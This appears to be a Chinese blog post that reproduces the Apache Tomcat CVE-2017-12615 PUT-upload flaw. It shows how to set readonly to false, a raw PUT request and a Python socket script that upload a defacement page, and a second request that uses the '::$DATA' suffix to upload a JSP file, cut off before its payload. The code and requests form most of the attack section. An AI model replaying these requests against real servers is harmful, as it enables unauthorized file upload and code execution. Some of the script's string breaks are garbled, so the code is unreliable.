zoukankan      html  css  js  c++  java
  • Tomcat CVE-2017-12615 远程上传漏洞复现

    漏洞名称:CVE-2017-12615-远程代码执行漏洞

    CVE-2017-12615:远程代码执行漏洞

    当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

    通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

    影响范围: Apache Tomcat 7.0.0 - 7.0.81

    首先在Tomcat官网下载7.0.81版本

    下载链接:http://mirrors.shuosc.org/apache/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz

    在Linux上搭建 把apache-tomcat-7.0.81.tar.gz文件解压后放到/usr/local/目录下

    在终端里进入bin目录,并输入./startup.sh开启tomcat

    随后访问http://192.168.149.129:8080端口就可以访问到

    漏洞利用步骤

    在/conf/目录下有个web.xml文件  打开添加readonly参数,属性值为false

    然后往目标服务器发送put数据包

    PUT /123.html/ HTTP/1.1  
    Host: 192.168.149.129:8080  
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    DNT:1
    Connection: close
    Content-Length: 664
    
    <html>
    <head>
    <title>hack by sf</title>
    </head>
    <body>
    hack by sf!
    </body>
    </html>

    该数据包是在目标的根目录下生成一个123.html文件

    这里我们用Python写了个利用脚本

    代码如下

    import socket
    
    poc = "<html><head><title>hack by sf</title></head><body>hack by sf!</body></html>";
    buffer = (
    "PUT /123.html/ HTTP/1.1
    ""Host: 192.168.149.129:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "DNT:1
    "
    "Connection: close
    "
    "Content-Length: 664
    
    "+poc)
    
    expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
    expl.connect(("192.168.149.129",8080));   
    expl.send(buffer);
    expl.close(); 

    运行后:

    修改123.html的后缀可以达到上传任意文件。

    再贴上Tomcat 7.0.79的poc:

    PUT /aedoo.jsp::$DATA HTTP/1.1
    Host: 192.168.1.1:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: 
    Connection: close
    Content-Length: 22
     
    your jsp ma
  • 相关阅读:
    java web分页查询初试
    SQL注入原理深度解析
    JS 清除IE缓存
    Android 代码混淆及第三方jar包不被混淆
    [leetcode]Unique Paths II
    ffmpeg API录制rtsp视频流
    HDU 2045 不容易系列之(3)—— LELE的RPG难题
    Ffmpeg和SDL创建线程(转)
    “富豪相亲大会”究竟迷失了什么?
    Ffmpeg和SDL如何同步视频(转)
  • 原文地址:https://www.cnblogs.com/wh4am1/p/7623774.html
Copyright © 2011-2022 走看看